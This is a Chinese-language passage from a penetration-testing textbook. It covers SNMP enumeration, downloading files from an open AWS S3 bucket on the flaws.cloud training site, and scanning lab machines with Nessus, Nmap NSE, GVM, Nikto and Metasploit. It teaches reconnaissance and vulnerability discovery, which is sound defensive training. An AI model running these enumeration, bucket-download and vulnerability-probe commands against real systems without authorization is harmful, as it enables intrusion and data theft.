SNMP 是一种常见的网络协议,使网络专业人员能够监控、管理和故障排除常见的网络设备。此外,IT 专业人员还使用 SNMP 从其设备中获取敏感信息,如下所示:
-
系统运行时间
-
设备主机名
-
CPU 和内存利用率
-
接口状态和统计信息
-
操作系统
-
打开的端口和正在运行的服务
SNMP 利用管理信息库(MIB),这是一个包含关于 SNMP 管理设备的特定信息的公共数据库。MIB 就像一棵树状结构,分为多个分支,每个分支用于管理设备的特定领域。在 MIB 树的每个分支上,都有代表特定值的叶子,这些叶子使网络专业人员能够访问这些叶子并检索有关网络中设备的特定信息。
要了解更多关于 SNMP 的信息,请查看:
www.techtarget.com/searchnetworking/definition/SNMP。
要开始进行 SNMP 枚举,请按照以下说明操作:
-
启动Kali Linux和Metasploitable 3(Windows 版本)虚拟机。
-
在Kali Linux上,打开终端并使用以下命令来确定目标系统(Metasploitable 2)是否正在运行 SNMP:
kali@kali:~$ sudo nmap -sU -p 161 172.30.1.48
以下截图显示了 SNMP 正在目标系统的 UDP 端口 161 上运行:
- 接下来,使用SNMP-Check工具执行 SNMP 枚举,使用以下命令:
kali@kali:~$ snmp-check -p 161 -c public -v 1 172.30.1.48
以下是前述命令中使用的每个语法的描述:
-
-p:允许您指定目标端口,默认设置为端口 161。 -
-c:允许您指定用于登录目标系统的社区字符串,默认社区字符串为public。 -
-v:允许您指定要使用的 SNMP 版本,默认设置为版本 1。
如下图所示,我们能够识别出大量敏感信息,这些信息可以用于提升未来对目标的网络攻击:
SNMP-Check 工具能够从目标中枚举出以下信息:
-
系统信息
-
用户账户
-
网络信息
-
路由信息
-
网络服务
-
运行中的进程
-
软件组件
要了解更多关于 SNMP-Check 的信息,请使用
snmp-check -h命令查看其菜单和其他选项。
正如您所学到的,枚举系统帮助道德黑客和渗透测试人员提高他们在目标系统上的资料,并确定其上运行的内容。这些信息有助于渗透测试人员识别漏洞,进而利用这些漏洞来危及目标系统。在下一部分,您将学习如何在云存储中发现数据泄露。
发现云中的数据泄露
在过去十年里,云计算已经成为 IT 行业增长最快的趋势之一。云计算允许公司在云服务提供商的数据中心内迁移并利用计算资源。云计算提供商采用按需付费模式,这意味着您只需为使用的资源付费。一些云服务提供商允许按分钟计费,而其他服务则按小时计费。以下是一些流行的云计算服务提供商:
-
亚马逊网络服务(AWS)
-
微软 Azure
-
Google Cloud Platform
许多云服务提供商为他们的客户提供存储服务。AWS 的存储设施被称为 简单存储服务 (S3) 。每当客户启用 S3 服务时,都会创建一个桶。桶是 AWS 平台中的存储单元,客户可以在其中添加或删除文件。在 Microsoft Azure 中,文件存储设施被称为 Azure Files。此外,在 Google Cloud 中,存储设施被称为 Google Cloud Storage。在网络安全领域,我们需要记住,当公司使用云平台时,云平台上的数据必须得到保护,就像它应该在本地存储时一样(也就是存储在本地)。有时,管理员忘记启用安全配置或缺乏对云解决方案安全性的了解。这可能导致攻击者发现目标组织的 AWS S3 桶并下载其内容。为了进行此练习,我们将使用来自 flaws.cloud 的一些免费的在线学习资源。这是一个由一位 AWS 安全专家创建的学习环境,旨在帮助社区了解 AWS S3 配置错误中可能存在的安全漏洞。要开始识别 AWS S3 桶的数据泄漏,请使用以下说明:
- 开启 Kali Linux 虚拟机,打开 Terminal,并使用以下命令安装 S3Scanner 工具:
kali@kali:~$ sudo apt update
kali@kali:~$ sudo pip3 install s3scanner
- 接下来,使用以下命令安装 AWS 命令行工具包:
kali@kali:~$ sudo apt install awscli
- 接下来,使用以下命令在 Kali Linux 上配置 AWS 命令行功能:
kali@kali:~$ aws configure
只需按 Enter 使用默认选项,如下截图所示:
- 接下来,为了查看 S3Scanner 工具的所有支持功能和选项,请使用
s3scanner –h命令,如下截图所示:
- 接下来,让我们在 Kali Linux 中使用 NSlookup 来检索目标服务器的 IP 地址:
kali@kali:~$ nslookup flaws.cloud
- 以下截图显示 NSlookup 能够检索到托管服务器的多个公共 IP 地址:
- 接下来,让我们再次使用 NSlookup 来检索 AWS S3 桶服务器的主机名:
kali@kali:~$ nslookup 52.92.148.75
以下截图显示了服务器的主机名,包括 AWS S3 桶的名称:
一个 AWS S3 桶的 URL 格式通常为 https://<bucketname> <region>.amazonaws.com。因此,通过使用 URL 中的信息,可以确定以下内容:
-
S3 桶名称:s3-website
-
托管区域:us-west-2
AWS S3 桶不仅用于存储数据文件,还用于托管网站。因此,我们可以使用 flaws.cloud 作为 AWS S3 桶 URL 的前缀,得到以下 URL:flaws.cloud.s3-website-us-west-2.amazonaws.com 以下截图展示了前述 URL 的内容:
- 接下来,让我们使用 S3Scanner 来验证一个存储桶是否存在以及可用的权限:
kali@kali:~$ s3scanner scan --bucket http://flaws.cloud
如下截图所示,存在一个 AWS S3 存储桶:
- 接下来,让我们尝试查看 AWS S3 存储桶的内容,使用以下命令:
kali@kali:~$ aws s3 ls s3://flaws.cloud --region us-west-2 --no-sign-request
如下截图所示,S3 存储桶中有一些文件;
- 接下来,让我们尝试将文件下载到我们的 Kali Linux 机器上。使用以下命令创建一个文件夹,并将文件下载到新创建的文件夹中:
kali@kali:~$ mkdir s3_bucket_files
kali@kali:~$ cd s3_bucket_files
kali@kali:~/s3_bucket_files$ aws s3 cp s3://flaws.cloud/secret-dd02c7c.html --region us-west-2 --no-sign-request secret-dd02c7c.html
cp 语法指定了要下载的文件,--region 允许我们指定 AWS S3 Bucket 的位置,--no-sign-request 指定不使用任何用户凭证。
- 最后,您可以使用
cat或open命令查看下载文件的内容,如下所示:
kali@kali:~/s3_bucket_files$ cat secret-dd02c7c.html
kali@kali:~/s3_bucket_files$ open secret-dd02c7c.html
您可以继续在 flaws.cloud/ 上进行此练习,进一步了解各种安全漏洞,并发现错误配置对云服务(如 AWS S3 存储桶)的影响。但是,请勿在没有合法授权的系统、网络和组织上执行此类操作。如您所见,数据泄露可以发生在任何平台和任何组织上。作为一名有抱负的伦理黑客和渗透测试员,您必须学会如何在真正的对手发现并利用它们之前先找到这些漏洞。公司可能会将敏感数据存储在云平台上,甚至完全不加保护地将数据存放在云服务提供商的网络中。这可能会导致数据和账户被盗取。在本节中,您学习了如何使用各种工具和技术枚举 AWS S3 存储桶。
总结
在本章中,作为一名有抱负的伦理黑客和渗透测试员,您已经获得了实践技能,能够执行主动扫描技术来识别目标系统上的开放端口、运行的服务和操作系统。此外,您还学会了在扫描过程中使用常见的规避技术,以降低您的威胁级别。更进一步,您已经学会了如何枚举常见的网络服务,并利用这些信息改进网络攻击。我相信,本章所呈现的知识为您提供了宝贵的见解,支持您成为伦理黑客和渗透测试员的道路,帮助您在充满活力的网络安全领域迈出坚实的一步。愿这一新获得的理解赋予您前行的力量,让您在行业中自信地航行,产生显著影响。在下一章《执行漏洞评估》中,您将学习如何设置并使用流行的漏洞管理工具。
进一步阅读
-
Nmap 参考指南 -
nmap.org/book/man.html -
使用 Metasploit 进行信息收集 -
www.offensive-security.com/metasploit-unleashed/information-gathering/
第七章:7 执行漏洞评估
加入我们的 Discord 书籍社区
packt.link/SecNet正如你到目前为止所学,侦察阶段对于成功进入渗透测试和网络杀伤链的利用阶段至关重要。在目标系统上发现安全漏洞有助于攻击者识别攻击面,即系统上可以被利用来获得未经授权访问的入口点。作为一个有志的道德黑客和渗透测试员,了解如何高效地识别攻击面并分析目标系统,将帮助你更好地规划攻击方法,并确定哪些漏洞能够帮助你在目标上获得立足点。在本章中,你将学习如何使用 Kali Linux 及其多种流行工具对网络进行漏洞评估。你将从学习如何安装、执行并分析扫描结果开始,使用 Nessus,这是网络安全行业中最受欢迎且被广泛认可的漏洞扫描器之一。接着,你将学习如何利用 Nmap 的隐藏秘密和强大功能,轻松发现系统上的安全漏洞。最后,你将学习如何进行 Web 漏洞评估。在本章中,我们将覆盖以下内容:
-
使用 Nessus 入门
-
使用 Nmap 进行漏洞识别
-
使用 Greenbone 漏洞管理器
-
使用网络应用扫描器
让我们开始吧!
技术要求
为了跟上本章的练习,请确保你已经满足以下硬件和软件要求:
-
Kali Linux -
www.kali.org/get-kali/ -
Nessus Essentials -
www.tenable.com/products/nessus/nessus-essentials -
Greenbone 漏洞管理器 -
github.com/greenbone/gvmd
使用 Nessus 入门
在深入研究网络安全领域时,有一个非常著名的工具,每个人都需要了解,那就是 Nessus。Nessus 是一个漏洞扫描器,可以检测系统上超过 47,000 个 常见漏洞和暴露(CVE)安全缺陷。此外,Nessus 允许安全专业人员在集中位置部署 Nessus,并自动定期扫描目标系统,从而实现组织内的持续和自动化漏洞评估。作为一名有志的渗透测试员,你可能需要使用 Nessus 在组织内进行漏洞评估,确定每个安全缺陷的风险和严重性,并根据发现的安全漏洞提供降低可能的网络攻击风险的建议。在本节中,你将学习如何在 Kali Linux 机器上使用 Nessus 设置并执行漏洞评估。要开始使用 Nessus Essentials,请按照以下说明操作:
如果你是一个在 M1 Mac(ARM64)芯片上运行 Kali Linux 的 Mac 用户,可能会在 Kali Linux 中设置 Nessus 时遇到一些问题。然而,这个过程在基于 Windows 的系统上运行良好。
第一部分 - 安装 Nessus
在本部分中,你将学习如何在 Kali Linux 虚拟机上安装和设置 Nessus Essentials,以识别目标系统上的安全漏洞:
-
首先,启动 Kali Linux 虚拟机并确保其具有互联网连接。
-
接下来,无论是在 Kali Linux 还是主机上,打开网页浏览器并访问
www.tenable.com/products/nessus/nessus-essentials,注册免费许可证以便在设置过程中激活 Nessus Essentials:
如截图所示,完成注册需要一个商业电子邮件地址,但我使用了个人的免费电子邮件地址,成功注册并获得了 Nessus Essentials 激活码。
- 在 Kali Linux 上,打开 终端 并使用以下命令更新本地软件包仓库列表:
kali@kali:~$ sudo apt update
- 接下来,使用以下命令将 Nessus Essentials 包下载到 Kali Linux 虚拟机上:
kali@kali:~$ curl --request GET \
--url 'https://www.tenable.com/downloads/api/v2/pages/nessus/files/Nessus-10.6.0-debian10_amd64.deb' \
--output 'Nessus-10.6.0-debian10_amd64.deb'
以下截图显示了前述命令的执行:
如果你在运行前述命令时遇到困难,请访问
www.tenable.com/downloads/nessus,选择最新版本的 Nessus 并选择 Linux – Debian – amd64 下载软件包到 Kali Linux 上。
- 接下来,将 Nessus 软件包安装到 Kali Linux 上:
kali@kali:~$ sudo dpkg -i Nessus-10.6.0-debian10_amd64.deb
以下截图显示了 Nessus 的安装过程:
- 接下来,使用以下命令启动和重启 Nessus 服务:
kali@kali:~$ sudo /bin/systemctl start nessusd.service
kali@kali:~$ sudo /bin/systemctl restart nessusd.service
systemctl status nessusd.service命令可以用来验证 Nessus 服务是否在 Kali Linux 上处于活动状态并正常运行。
- 要继续 Nessus 的设置过程,在 Kali Linux 中打开网页浏览器并访问
kali:8834/,如下所示:
当你首次访问kali:8834/时,网页浏览器会提供安全警告,因为 Nessus 使用的是自签名数字证书。点击高级,然后点击接受风险并继续。
- 接下来,Nessus 初始化页面将出现,点击继续,如下所示:
- 接下来,选择注册 Nessus Essentials选项并点击继续,如下所示:
- 由于你在步骤 2中已注册并收到 Nessus Essentials 许可证密钥,请在注册页面点击跳过,如下所示:
- 接下来,从你的邮件消息中获取许可证密钥并输入到激活码字段中,然后点击继续,如下所示:
- 接下来,Nessus 将显示许可证密钥/激活码,点击继续,如下所示:
- 接下来,创建一个用户帐户并点击提交,如下所示:
如果你收到错误:
invalid code field bad format,尝试手动输入许可证密钥/激活码来激活 Nessus Essentials。
- Nessus 将自动登录到仪表盘,然后开始初始化过程,并开始下载应用程序的附加更新和插件。此过程通常需要几分钟才能完成。要查看事件日志,请点击设置 | 关于 | 事件,如下图所示:
- 下载过程完成后,Nessus 将编译所有插件。确保完成此过程后再继续扫描目标系统。
第二部分 – 识别漏洞
Nessus 能够检测到目标系统上的超过 78,000 个 CVE,帮助网络安全专业人员(如道德黑客和渗透测试员)识别组织资产的攻击面,并利用收集的信息提供预防和缓解网络攻击与威胁的建议。请按照以下指令开始使用 Nessus 扫描安全漏洞:
-
启动Metasploitable 3(Windows 版本)虚拟机,作为我们网络上的目标系统。
-
在Kali Linux中,登录到 Nessus Essentials 仪表盘,访问
kali:8834/,并点击新扫描,如下所示:
- 接下来,将展示各种漏洞和合规扫描模板,方便你根据扫描目标轻松选择最合适的模板。例如,你可以使用预定义模板检测目标系统是否容易受到 WannaCry、ZeroLogon、PrintNightmare 甚至 Log4Shell 的攻击。对于我们的练习,请点击基本网络扫描,如下所示:
- 接下来,将出现设置页面,提供设置名称、描述、文件夹以便轻松组织扫描、目标的选项。设置名称、描述,并将 Metasploitable 3(Windows 版本)虚拟机的 IP 地址作为目标,然后点击启动,如下所示:
如前面的截图所示,有各种选项和子菜单,例如以下内容:
-
凭据标签允许你指定登录凭证,允许 Nessus 登录到目标系统以获取在非凭据扫描时难以获取的特定信息。
-
调度允许渗透测试人员在一段时间内自动化他们的扫描。
-
通知允许 Nessus 在扫描开始和完成时发送电子邮件通知。
-
发现指定了端口扫描选项。
-
评估允许你选择 Nessus 是否扫描 web 漏洞。
-
报告允许你指定 Nessus 如何处理将在报告中显示的信息that。
-
高级使你能够指定 Nessus 在网络上发送的流量量,这对于低带宽网络非常有用。
- 接下来,Nessus 将开始扫描目标,并在我的扫描摘要窗口中显示进度,如下所示:
扫描完成后,Nessus 会自动更新扫描状态,如下所示:
扫描完成后,它会自动保存在我的扫描部分。
第三部分 – 漏洞分析
使用像 Nessus 这样的漏洞扫描器可以帮助我们自动化漏洞发现和分类的过程。作为一名有抱负的道德黑客和渗透测试员,了解如何对报告数据进行漏洞分析是至关重要的。要开始使用 Nessus 进行漏洞分析,请按照以下说明操作:
- 要查看扫描结果,请点击我的扫描 | 识别目标 1 的漏洞,如下所示:
下图展示了目标系统上所有发现的安全漏洞的总结:
如前面的截图所示,Nessus 提供了一个非常清晰、易于理解的视图,显示了所有发现的安全漏洞。柱状图和圆环图提供了基于漏洞的严重性评级和评分,展示了发现了多少安全漏洞的概览。
- 要查看所有发现的安全漏洞列表,请点击 Vulnerabilities 标签,如下所示:
如前面的截图所示,Nessus 将多个安全漏洞进行了分组。
- 接下来,点击 CRITICAL 严重性组,以显示所有属于该组的安全漏洞,如下所示:
如前面的截图所示,Nessus 按照从最严重到最轻微的顺序列出了安全漏洞。作为渗透测试人员,这表明这些漏洞最有可能对目标系统造成重大影响。
- 接下来,点击任意一个关键漏洞查看更多详细信息,如下所示:
如前面的截图所示,Nessus 提供了一个描述,帮助网络安全专业人员更好地理解系统中存在此安全漏洞的风险及其影响。此外,Nessus 还提供了解决此安全漏洞的方案,并展示了目标系统或组织所拥有资产的安全态势。
- 此外,Nessus 提供了其 漏洞优先级评分(VPR)评分系统,帮助网络安全专业人员优先分配资源解决该安全风险,如下所示:
- 此外,Nessus 提供了用于计算漏洞严重性的 通用漏洞评分系统(CVSS)的度量标准,如下所示:
网络安全专业人员和研究人员使用 CVSS 计算器在
www.first.org/cvss/calculator/3.1上确定系统中安全漏洞的严重性评分和得分。这一计算帮助行业专家在根据漏洞严重性评分、风险级别和影响来分类安全漏洞时确定风险因素。
- 接下来,我们将使用 CVSS 3.0 向量并将其插入到计算器中,以确定威胁行为者如何利用此漏洞破坏系统:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 接下来,将 CVSS 3.0 向量附加到以下 URL 的末尾:
www.first.org/cvss/calculator/3.0#以下是最终版 URL,CVSS 3.0 向量作为后缀:www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- 访问上述 URL 后,你将看到如何分配这些向量来确定漏洞得分为 9.8,如下所示:
如前面的截屏所示,威胁行为者需要创建一个利用,在网络(N)路径上传递,攻击复杂度为低(L),需要无(N)特权才能成功。此外,由于攻击范围将保持不变(U),因此不需要任何(N)人工用户交互。一旦利用了目标系统上的安全漏洞,对系统的机密性、完整性和可用性的影响将是高(H)。
第四部分 - 导出漏洞报告
从 Nessus 生成报告可帮助您在渗透测试后快速查阅漏洞及其描述。在本节中,您将学习如何使用 Nessus 生成各种类型的报告。要开始此练习,请按以下说明操作:
- 在 Nessus 仪表板上,如下所示,单击报告:
- 接下来,将弹出一个窗口,提供各种报告生成选项。选择报告格式、报告模板并单击生成报告,如下所示:
- 生成报告后,请确保将其保存在桌面上,并使用 PDF 阅读器打开,如下所示:
完成了本节,您已经学会如何使用 Nessus 在渗透测试期间对目标进行漏洞评估。在下一节中,您将学习如何使用 Nmap 识别安全漏洞。
使用 Nmap 进行漏洞识别
Nmap 脚本引擎(NSE)是 Nmap 的最强大功能之一。它使渗透测试人员和安全研究人员能够创建、自动化和执行定制的扫描。使用 NSE 时,扫描技术通常是激进的,并具有导致意外数据丢失甚至崩溃目标系统的潜力。然而,NSE 允许渗透测试人员轻松识别安全漏洞,并确定目标是否可利用。它包含 600 多个预构建的脚本,属于以下 NSE 类别:
-
Auth: 此类别包含扫描目标系统的脚本,以确定是否可能绕过身份验证。
-
Broadcast: 此类别包含用于在网络上发现主机系统的脚本。
-
Brute: 此类别包含用于在远程服务器上执行某些类型的暴力攻击的脚本,旨在获取未经授权的访问权限。
-
Default: 此类别包含 NSE 中的一组默认脚本,用于扫描。
-
Discovery: 此类别包含用于在目标系统上进行主动侦察以识别网络服务的脚本。
-
DoS: 此类别包含模拟对目标系统进行拒绝服务(DoS)攻击的脚本,以检查系统是否容易受到此类攻击。
-
利用:此类别包含用于积极利用目标系统安全漏洞的脚本。
-
外部:此类别包含通常将从目标系统收集到的数据发送到外部资源以进行进一步处理的脚本。
-
模糊测试:此类别包含用于向应用程序发送随机数据,以发现应用程序中的软件漏洞和缺陷的脚本。
-
侵入性:此类别包含高风险脚本,这些脚本可能会导致系统崩溃并造成数据丢失。
-
恶意软件:此类别包含能够检测目标是否感染恶意软件的脚本。
-
安全:此类别包含不具侵入性且在目标系统上安全使用的脚本。
-
版本:此类别包含用于收集目标系统上服务版本信息的脚本。
-
漏洞:此类别包含用于检查目标系统上特定漏洞的脚本。
要了解更多关于 NSE 的信息,请参见:
nmap.org/book/nse.html。完整的 NSE 脚本列表请参见:nmap.org/nsedoc/scripts/。
要开始使用 NSE 识别安全漏洞,请按照以下说明操作:
-
启动Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux中,打开终端并使用以下命令查看本地可用的 NSE 脚本列表:
kali@kali:~$ ls -l /usr/share/nmap/scripts
下图显示了 Kali Linux 中/usr/share/nmap/scripts目录下有 4000 多个 NSE 脚本:
- 要过滤所有文件传输协议(FTP)NSE 脚本,请使用以下命令:
kali@kali:~$ ls -l /usr/share/nmap/scripts/ftp*
如下图所示,*用作通配符来显示所有以ftp开头的脚本:
- 接下来,让我们使用 Nmap 来确定目标系统(Metasploitable 2)是否正在运行 FTP 服务,并确定该服务的版本:
kali@kali:~$ sudo nmap -sV -p 20,21 172.30.1.49
如前所示,端口 21 开放,目标系统的服务被识别为vsftpd 2.3.4。
- 接下来,让我们使用其中一个 NSE 脚本来确定目标系统上的 vsftpd 是否存在漏洞:
kali@kali:~$ sudo nmap --script ftp-vsftpd-backdoor 172.30.1.49
--script命令允许你指定单个脚本、多个脚本或脚本类别。下图显示了在我们的受害机器上执行扫描的结果:
如前所示,使用了 ftp-vsftpd-backdoor 脚本来检查目标系统是否存在 vsFTPd 2.3.4 应用程序中的后门漏洞。结果,NSE 表明目标系统正在运行一个存在漏洞的服务。
- 现在已经发现了一个漏洞,下一步是确定是否存在可以利用此安全弱点的利用工具。以下截图显示了针对 vsFTPd 2.3.4 服务执行 Google 搜索已知漏洞的结果:
如前图所示,来自 Metasploit 的创始人 Rapid7 有一个漏洞利用链接。通过这个 Rapid7 的网址,你可以获取更多有关如何在 Kali Linux 上使用 Metasploit 利用这个漏洞的详细信息。此外,注意到 Google 搜索结果中的第二个 URL,它来自 Exploit-DB。这是由 Kali Linux 的创建者维护的一个可信的漏洞数据库。它们是渗透测试中获取漏洞的两个可信在线资源。
- 此外,在 Kali Linux 中,有一个名为searchsploit的工具,它允许你在 Kali Linux 的离线版本的 Exploit-DB 中执行查询/搜索漏洞。
以下截图显示了使用searchsploit命令时的搜索结果:
如前图所示,searchsploit能够从 Exploit-DB 数据库的本地离线版本中识别多个漏洞。注意,有一个特定条目表明 Metasploit 中已有一个漏洞利用模块。以下截图显示了 Metasploit 中的vsFTPd 漏洞利用模块:
如前图所示,这个漏洞利用模块可以利用任何运行 vsFTPd 2.3.4 版本的 Linux 系统中的安全漏洞。如果漏洞利用成功,渗透测试员将能够在目标系统上创建一个具有远程代码执行(RCE)的后门。
许多漏洞脚本可以作为 Nmap 的一部分在 NSE 中使用。请确保查看
nmap.org/nsedoc/categories/vuln.html上的完整列表,在那里你可以找到每个可以在漏洞类别中找到的脚本的名称和详细信息。
- 如果你想执行一类脚本,可以使用
nmap --script <category-name>命令,如下所示:
kali@kali:~$ sudo nmap --script vuln 172.30.1.49
使用vuln类别时,NSE 将使用所有漏洞检测脚本来检查目标的安全弱点。如下图所示,Metasploitable 2 受害机上发现了额外的安全漏洞:
作为一名有志成为道德黑客和渗透测试人员的人,您已经学会了如何使用 Nmap 执行各种扫描技术,以识别和发现网络中主机系统的安全漏洞。使用本部分中的信息,您可以帮助自己研究漏洞利用和有效载荷,这些利用和载荷能够利用这些安全漏洞。在接下来的部分中,您将学习如何在 Kali Linux 上安装和使用开源漏洞管理工具。
使用 Greenbone 漏洞管理器
开放漏洞评估扫描器(OpenVAS)是一个免费的漏洞扫描工具,允许道德黑客和渗透测试人员对网络进行漏洞评估。OpenVAS 可以扫描组织内经过认证和未认证的漏洞资产。在使用认证扫描时,渗透测试人员提供有效的登录凭据给漏洞扫描器,允许其认证到系统中,从而对目标系统的设置进行彻底扫描,查找任何配置错误。然而,未认证扫描通常不如认证扫描彻底,因为它只在目标的表面查找安全漏洞并提供报告。Greenbone 漏洞管理器(GVM)是一个集中管理工具,管理 OpenVAS 的功能和漏洞。在本练习中,您将学习如何在 Kali Linux 上设置 GVM 并使用 OpenVAS 对目标进行漏洞评估。开始本练习时,请按照以下说明操作:
第一部分 – 安装 GVM
-
启动Kali Linux虚拟机,并确保其具有互联网连接。
-
在Kali Linux中,打开终端并使用以下命令更新本地软件包仓库列表文件并安装 GVM 包:
kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install gvm
- 在安装过程中,可能会提示您重启各个服务,请确保使用键盘上的
空格键选择要重启的服务,然后使用Tab键在选项之间切换,最后按Enter键确认,如下所示:
-
安装完成后,重启 Kali Linux 虚拟机并登录以继续。
-
接下来,使用以下命令初始化设置过程并生成默认的用户凭据:
kali@kali:~$ sudo gvm-setup
设置过程通常需要一些时间来完成,因为它会下载额外的更新和插件。一旦设置过程完成,默认的管理员账户将被创建并生成一个随机密码,如下所示:
-
接下来,使用
sudo gvm-check-setup命令验证 GVM 是否正确设置。 -
接下来,在 Kali Linux 中打开网页浏览器,访问
https://127.0.0.1:9392以访问 GVM 的网页界面。 -
使用在设置过程结束时创建的默认
admin用户账户并登录,如下所示:
- 登录后,点击管理 | Feed 状态,如下所示:
GVM 将继续从多个可信的在线来源下载额外的 网络威胁情报 (CTI),以确保 GVM 内的漏洞扫描引擎拥有最新的更新和签名,从而识别系统上的最新安全漏洞,如下所示:
下载过程通常需要一段时间才能完成。一旦所有内容更新完成,信息源状态将自动更改,如下所示:
在对目标系统执行漏洞扫描之前,请确保所有威胁信息源已更新。
第二部分 - 漏洞识别
要使用 GVM 识别目标系统上的安全漏洞,请按照以下指示操作:
- 在 GVM 仪表板上,点击 配置 | 目标 来设置我们的目标主机,如下所示:
-
接下来,点击位于左上角的 新目标 图标。
-
在 新目标 窗口中,确保设置名称、主机(Metasploitable 3 的 IP 地址)并点击 保存,如下所示:
-
如前截图所示,新目标 窗口提供了额外的选项,例如输入用户凭证以执行凭证扫描,从而获取更多信息。此外,你还可以从列表中选择多个目标系统,并在扫描地址范围时排除特定目标。
-
接下来,点击 扫描 | 任务 来创建新的扫描任务,如下所示:
- 接下来,点击 魔法纸 图标(左上角),然后选择 新任务,如下所示:
- 在 新任务 窗口中,输入任务名称并从下拉菜单中选择 扫描目标,然后点击 保存,如下所示:
- 接下来,新的扫描任务将在页面的下部显示,点击 播放 图标以开始扫描目标系统,如下所示:
- 在此过程中,任务状态会自动变化。一旦任务完成,状态将显示为 完成,并展示其结果,如下所示:
第三部分 - 漏洞分析与报告
要使用 GVM 执行漏洞分析,请按照以下指示操作:
- 要查看报告结果,请点击 扫描 | 报告,如下所示:
如前所示,GVM 已分析并将发现的安全漏洞分类为 高、中、低、日志 和 误报,以帮助网络安全专业人员进行决策并优先分配资源给更关键的漏洞。
- 要查看已识别的安全漏洞的详细列表,请点击报告日期,如下所示:
然后,点击结果选项卡查看目标系统上发现的所有安全漏洞及其严重级别,如下所示:
- 要查看漏洞的详细描述,请点击结果列表中的任意一个,如下所示:
使用前面截图中显示的信息,伦理黑客和渗透测试人员可以更好地了解如果漏洞被对手利用,漏洞对系统的影响。此外,伦理黑客可以利用这些信息开发或获取利用代码,攻破目标网络中具有相同安全缺陷的多个系统。在本节中,你已经学会了如何设置和使用 GVM 来识别目标系统上的安全漏洞。在下一节中,你将学习如何使用常见工具来识别 web 应用程序中的安全漏洞。
使用 web 应用程序扫描器
作为一名有抱负的渗透测试员,你还需要根据渗透测试的范围执行 web 应用程序安全测试。在本节中,你将学习如何使用各种类型的 web 应用程序扫描器来识别并指纹识别目标服务器上的 web 应用程序。让我们开始吧!
WhatWeb
WhatWeb 使伦理黑客和渗透测试人员能够识别和指纹识别 web 应用程序服务器上运行的技术类型。WhatWeb 已预装在 Kali Linux 中,并应成为你在侦察和漏洞评估阶段的工具之一。要使用 WhatWeb 对目标 web 服务器进行分析,请按照以下指示操作:
-
首先,启动Kali Linux和Metasploitable 3(Windows 版本)虚拟机。
-
在Kali Linux中,打开终端并使用以下命令来识别目标上是否有 web 应用程序运行:
kali@kali:~$ nmap -p 80,443,8080 172.30.1.48
如下截图所示,发现了在端口 80 和 8080 上的网络服务:
Web 应用程序协议如 HTTP 和 HTTPS 分别在端口 80、443 和 8080 上运行。
- 接下来,使用以下命令来分析 web 服务器:
kali@kali:~$ whatweb http://172.30.1.48
如下截图所示,WhatWeb 能够识别目标系统上的 web 应用程序和额外的 web 技术:
作为一名有抱负的伦理黑客和渗透测试员,一些工具将帮助你收集有关 web 服务器的信息,而另一些则能发现安全漏洞。然而,使用 WhatWeb 时,研究目标 web 服务器上发现的所有技术是非常重要的;许多安全研究人员分享他们的发现和漏洞披露,帮助他人共同应对网络犯罪分子的挑战。简而言之,WhatWeb 提供了以下信息:
-
Web 应用程序及其版本
-
Web 技术及其版本
-
主机操作系统及其版本
通过研究每个技术的版本号,你将能够找到可以利用目标系统漏洞的漏洞利用代码。在下一部分中,你将学习如何使用 Nmap 发现 Web 应用漏洞。
Nmap
如你所学,Nmap 具有许多非常酷的功能,并使渗透测试人员能够对目标系统执行各种类型的扫描,发现其具体细节。在 NSE 中,许多脚本已预加载到 Kali Linux 中。使用以下命令,你可以看到所有以 http 开头的 Nmap 脚本的完整列表:
kali@kali:~$ ls /usr/share/nmap/scripts/http*
在列表中,你可以选择使用特定脚本来检查目标系统的 HTTP 漏洞。假设你想要识别一个 Web 应用是否容易受到结构化查询语言(SQL)注入攻击。http-sql-injection NSE 脚本可以识别此类安全缺陷。以下 Nmap 命令展示了如何调用 SQL 注入脚本并对开放 80 端口用于 Web 服务的目标进行扫描:
kali@kali:~$ nmap --script http-sql-injection -p 80 172.30.1.49
以下截图显示,Nmap 能够在目标的多个点上识别可能的 SQL 注入攻击:如上图所示,Nmap 脚本能够自动化检查各种 URL 和路径是否容易受到可能的 SQL 注入攻击。
尽管许多 NSE 脚本可以用于识别 Web 应用中的安全漏洞,但在执行初始扫描以识别目标时,始终使用
-A或-sV语法来识别 Web 应用的服务版本是非常重要的。一旦识别出 Web 应用的服务版本,利用互联网查找已知的漏洞。作为渗透测试人员,执行更多的漏洞研究总是有益的,因为你可能会发现更多有关如何攻破目标的信息。
一定要对目标执行额外扫描,以发现任何隐藏的安全漏洞,并使用nmap.org/nsedoc/上找到的信息,深入了解各种 NSE 脚本的用途。在下一部分中,你将学习如何使用 Nikto 检查目标上的 Web 应用漏洞。
Nikto
Nikto 是一个开源 Web 应用扫描器,预装在 Kali Linux 中。这个工具允许渗透测试人员轻松地自动化识别 Web 服务器中 Web 应用可能存在的安全漏洞。要开始使用 Nikto,请按照以下说明操作:
-
启动Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux上,打开终端并使用以下命令扫描Metasploitable 2上的 Web 应用:
kali@kali:~$ nikto -h 172.30.1.49
使用
-h语法可以指定目标的主机名或 IP 地址。要了解更多扫描选项,请使用nikto --help命令。
以下截图展示了我们目标系统的一些扫描结果:
如前面的截图所示,Nikto 可以识别目标 web 应用程序中的各种安全漏洞。它们以项目符号格式列出,+ 图标用来表示新结果。花点时间仔细阅读每一行,因为 Nikto 帮助安全专家了解安全漏洞的细节。它还提供了漏洞发现的参考以及如何解决这些问题。接下来,您将学习如何使用 Metasploit 识别 web 应用漏洞。
Metasploit
本节中,您将学习如何利用 Metasploit 的强大功能发现 web 应用服务器的安全漏洞。我们的目标是使用 Metasploitable 2 虚拟机。开始本练习时,请按照以下说明操作:
-
首先,启动Kali Linux和Metasploitable 2虚拟机。
-
在Kali Linux中,打开终端并使用以下命令启动 PostgreSQL 数据库并初始化 Metasploit:
kali@kali:~$ sudo service postgresql start
kali@kali:~$ sudo msfdb init
- 接下来,使用以下命令访问 Metasploit 框架:
kali@kali:~$ msfconsole
- 然后,使用以下命令在 Metasploit 中加载 WMAP 网络漏洞扫描模块:
msf6 > load wmap
以下截图展示了前述命令的执行及 WMAP 插件已成功加载:
- 接下来,使用以下命令将目标系统设置为 Metasploitable 2:
msf6 > wmap_sites -a http://172.30.1.49
